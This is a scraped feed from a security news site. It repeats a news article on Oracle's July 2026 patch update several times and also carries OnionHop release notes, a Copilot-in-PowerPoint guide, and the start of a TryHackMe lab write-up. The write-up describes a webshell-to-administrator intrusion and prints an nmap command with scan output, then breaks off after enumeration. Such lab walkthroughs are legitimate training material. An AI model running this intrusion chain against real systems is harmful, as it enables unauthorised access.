These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,

No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.

Two critical flaws in Oracle Database Server

The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.

This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, Oracle said in the patch update statement. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.

The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”

Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.

“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.

A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.

CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.

Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.

There were also two critical flaws in Oracle’s TimesTen in-memory database.

The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.

Volume repair

Gogia said the volume itself marks a shift.

“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”

He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”

Third Tuesday, quarterly cycle

The July release is the third quarterly Critical Patch Update of 2026, and the first since the introduction in May of the monthly Critical Security Patch Update program.

Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.

“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”

Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”

Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.

“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.

Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.

Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.

This article first appeared on CSO.

]]> <![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]> https://tsecurity.de/de/3687303/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/ https://tsecurity.de/de/3687303/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/ Wed, 22 Jul 2026 20:33:52 +0200 📰 IT Security Nachrichten tsecurity.de

Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.

Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).

These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,

No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.

Two critical flaws in Oracle Database Server

The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.

This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, Oracle said in the patch update statement. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.

The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”

Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.

“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.

A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.

CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.

Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.

There were also two critical flaws in Oracle’s TimesTen in-memory database.

The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.

Volume repair

Gogia said the volume itself marks a shift.

“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”

He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”

Third Tuesday, quarterly cycle

The July release is the third quarterly Critical Patch Update of 2026, and the first since the introduction in May of the monthly Critical Security Patch Update program.

Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.

“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”

Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”

Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.

“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.

Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.

Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.

This article first appeared on CSO.

]]> <![CDATA[OnionHop 3.7]]> https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/ https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/ Wed, 22 Jul 2026 20:29:14 +0200 đŸ’Ÿ IT Security Tools tsecurity.de Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.

Fixed

  • Snowflake starting again on censored networks (#71). Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever the AMP-cache rendezvous was enabled. The AMP cache was being passed as a -ampcache command-line flag, which the bundled Snowflake binary (lyrebird) rejects, so it exited immediately. It is now set as an ampcache= parameter on the Snowflake bridge line, which lyrebird reads. This mainly affected networks where Smart Connect forces Snowflake AMP (for example Iran).

Added

  • SNI scanner compact layout. The SNI scanner now matches the bridge scanner: a "Custom list" toggle keeps the candidate-domain box collapsed until you turn it on or load, import, or request a list, so the controls take less room.
  • Request SNI (per-country lists). Working SNI hosts are country-specific, so the SNI scanner gained a "Request SNI" button that fetches a candidate list for your country from the OnionHop SNI-lists source and loads it for scanning. A country picker appears when the source is reachable.
  • Export Working. The SNI scanner can now save the working SNI hosts to a text file.
  • About page release links. Each release in the changelog history now has a "View on GitHub" link that opens that release's page, and the sources section lists the new OnionHop SNI Lists source.

Downloads

Platform File
Windows installer OnionHop-Setup-v3.exe
Windows portable OnionHopV3-Portable-3.7-win-x64.zip
Windows CLI OnionHop-CLI-Setup-3.7.exe / OnionHopCLI-Portable-3.7-win-x64.zip
Linux OnionHop-x86_64.AppImage
Linux CLI OnionHopCLI-3.7-linux-x64.tar.gz
macOS (Apple Silicon) OnionHop-3.7-macOS-arm64.dmg
macOS (Intel) OnionHop-3.7-macOS-x64.dmg
macOS CLI (Apple Silicon) OnionHopCLI-3.7-macos-arm64.tar.gz
macOS CLI (Intel) OnionHopCLI-3.7-macos-x64.tar.gz
]]> <![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]> https://tsecurity.de/de/3687241/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/ https://tsecurity.de/de/3687241/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/ Wed, 22 Jul 2026 20:24:17 +0200 📰 IT Security Nachrichten tsecurity.de

Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.

Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).

These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,

No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.

Two critical flaws in Oracle Database Server

The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.

This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, Oracle said in the patch update statement. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.

The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”

Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.

“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.

A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.

CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.

Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.

There were also two critical flaws in Oracle’s TimesTen in-memory database.

The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.

Volume repair

Gogia said the volume itself marks a shift.

“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”

He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”

Third Tuesday, quarterly cycle

The July release is the third quarterly Critical Patch Update of 2026, and the first since the introduction in May of the monthly Critical Security Patch Update program.

Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.

“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”

Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”

Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.

“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.

Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.

Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.

]]> <![CDATA[Running Simulators Inside Claude Code for Mac]]> https://tsecurity.de/de/3686700/ios-mac-os/running-simulators-inside-claude-code-for-mac/ https://tsecurity.de/de/3686700/ios-mac-os/running-simulators-inside-claude-code-for-mac/ Wed, 22 Jul 2026 16:42:07 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[GNOME can look like Windows – and Flashback can do it without extensions]]> https://tsecurity.de/de/3686223/it-nachrichten/gnome-can-look-like-windows-and-flashback-can-do-it-without-extensions/ https://tsecurity.de/de/3686223/it-nachrichten/gnome-can-look-like-windows-and-flashback-can-do-it-without-extensions/ Wed, 22 Jul 2026 14:04:54 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[10 cool things Copilot can do in PowerPoint]]> https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/ https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/ Wed, 22 Jul 2026 13:05:35 +0200 📰 IT Nachrichten tsecurity.de

Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.

In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.

Who can use Copilot in PowerPoint

Individuals with a Microsoft 365 Personal, Family, or Premium subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have higher Copilot usage allowances and access to advanced AI features.

For business users, it’s more complicated. Organizations with more than 2,000 users must pay for Microsoft 365 Copilot licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are limitations in usage, speed, and feature availability.

To see what kind of access you have, log in to Microsoft’s Copilot Chat web hub and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.

(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our Copilot Chat tutorial for details.)

In this article:

Working with Copilot in PowerPoint

First, let’s quickly go over the notable settings of the Copilot sidebar.

When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.

powerpoint screen with copilot sidebar open on right

The sidebar on the right is where you interact with Copilot in PowerPOint.


Howard Wen / Foundry

Agent mode: By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the Allow editing button above the chat window and change it to Chat only.

The tips in this guide require that Copilot be in agent mode, so make sure you see Allow editing above the chat window.

Choice of AI model: Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click Auto at the upper right of the Copilot pane and select a model from the dropdown that opens.

screenshot of copilot sidebar in powerpoint with models dropdown menu open

You can choose which AI model you want Copilot to use for a request.

Howard Wen / Foundry

The tips in this guide should work fine on the default Auto setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.

Important: Remember that generative AI output often includes errors, so always check Copilot’s output for accuracy. (Also see our tips for reducing hallucinations in Copilot.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.

1. Create a presentation template

For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.

Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.

A good prompt should contain the slide count, subject, audience, and tone. Example:

  • Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.

Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.

screenshot of powerpoint presentation generated by copilot with placeholder data

Copilot generates a presentation with placeholder data and explains its elements.

Howard Wen / Foundry

You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.

2. Create a presentation from a document

You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.

Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.

In the Copilot pane, click the + icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)

screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on

Attaching a document for Copilot to base a presentation on.

Howard Wen / Foundry

Then in the chat window, you can enter a prompt that’s as simple as “Create a presentation,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.

Answer any follow-up questions that Copilot asks, and it will then generate the presentation.

screenshot of powerpoint with a presentation generated by copilot from a document

Copilot has generated a professional presentation from a social media marketing campaign document.

Howard Wen / Foundry

Note: Your marketing department may have created one or more branded company templates for Copilot to work from. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.

3. Add content from a document to a slide

Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.

In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:

  • Add a slide based on the attached document.
  • Use the attached file to add a slide about the project budget that focuses on Q1 projections.
  • Summarize only the financial section of the attached document as a slide.
screenshot of a slide in powerpoint generated by copilot from spreadsheet data

A new Copilot-generated slide based on data from an Excel spreadsheet.

Howard Wen / Foundry

4. Refine your slide text

A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.

You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click Edit with Copilot.

On the menu that opens, you can select a preset prompt to refine the text, such as Condense or Make professional. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.

screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options

Choose a preset prompt for refining text on a slide or type in your own prompt.

Howard Wen / Foundry

Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.

Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:

  • Make these slides more visual and use less text.

5. Find or create an image

If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.

To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:

  • Add a stock photo of young adults in a cafe drinking boba tea.
  • Add a photo from our asset library of young adults in a cafe drinking boba tea.

To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:

  • Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.
screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide

Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.

Howard Wen / Foundry

Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off.

Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.

6. Expand your presentation with relevant slides

As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.

In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:

  • Add a slide after slide 3 about our competitive advantages.
  • Add a slide after slide 11 that transitions to slide 12.
screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot

Need a transition slide? Just ask!

Howard Wen / Foundry

7. Summarize a presentation

Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.

In the Copilot pane, just type “summarize this presentation.” You can also have Copilot flag key slides that contain important information: “show me key slides.”

screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response

Ask Copilot to summarize a presentation or flag key slides.

Howard Wen / Foundry

8. Answer questions about a presentation

As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.

In the Copilot pane, type specific informational questions. Examples:

  • What are the action items in this deck?
  • What is the proposed budget mentioned here?

If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.

screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck

Ask Copilot specific questions about the contents of a presentation.

Howard Wen / Foundry

This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)

You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.

9. Help you navigate a large presentation

In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.

In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:

  • Show me the slides about the project timeline.

Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.

screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience

Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.

Howard Wen / Foundry

10. Generate speaker notes and/or an FAQ

Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:

  • Write speaker notes for every slide with one talking point per slide.
screenshot of powerpoint presentation with speaker notes generated by copilot

Copilot can create speaker notes in seconds.

Howard Wen / Foundry

In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:

  • Write an FAQ for these slides.

Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.

screenshot of frequently asked questions slide generated by copilot in powerpoint

A Copilot-generated FAQ slide.

Howard Wen / Foundry

Related reading:

]]> <![CDATA[AllSignsPoint2Pwnage — TryHackMe Windows Write-up]]> https://tsecurity.de/de/3686039/hacking/allsignspoint2pwnage-tryhackme-windows-write-up/ https://tsecurity.de/de/3686039/hacking/allsignspoint2pwnage-tryhackme-windows-write-up/ Wed, 22 Jul 2026 13:01:32 +0200 đŸ•”ïž Hacking tsecurity.de AllSignsPoint2Pwnage is a Windows-based room on TryHackMe that requires the user to enumerate open SMB shares and upload a webshell to get an initial foothold on the target. After that one can find higher-level credentials on the target which can be leveraged to gain an administrator shell and gradually extract the admin flag. This room is great for anyone who’s venturing into Windows pentesting and needs practical experience dealing with vulnerable systems.

0x00: Enumeration

  • Started with running a TCP Scan on the target via Nmap.
nmap -sC -sV -p- 10.48.128.241 
Nmap scan report for 10.48.128.241
Host is up (0.039s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_11-14-20  04:26PM                  173 notice.txt
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
|_http-title: Simple Slide Show
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
|_http-title: Simple Slide Show
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| http-methods: 
|_  Potentially risky methods: TRACE
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DESKTOP-997GG7D
| Not valid before: 2026-07-08T06:13:45
|_Not valid after:  2027-01-07T06:13:45
|_ssl-date: 2026-07-09T06:17:29+00:00; +2s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: DESKTOP-997GG7D
|   NetBIOS_Domain_Name: DESKTOP-997GG7D
|   NetBIOS_Computer_Name: DESKTOP-997GG7D
|   DNS_Domain_Name: DESKTOP-997GG7D
|   DNS_Computer_Name: DESKTOP-997GG7D
|   Product_Version: 10.0.18362
|_  System_Time: 2026-07-09T06:17:20+00:00
5900/tcp open  vnc           VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     Ultra (17)
|_    VNC Authentication (2)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-time: 
|   date: 2026-07-09T06:17:22
|_  start_date: N/A
  • As revealed in the scan output, the target had open FTP and SMB services running. It also had VNC running on port 5900, which is a tool used to remotely control a computer. The target also had an Apache web server running on port 80.
  • I visited the webpage and saw a slideshow of several random images.
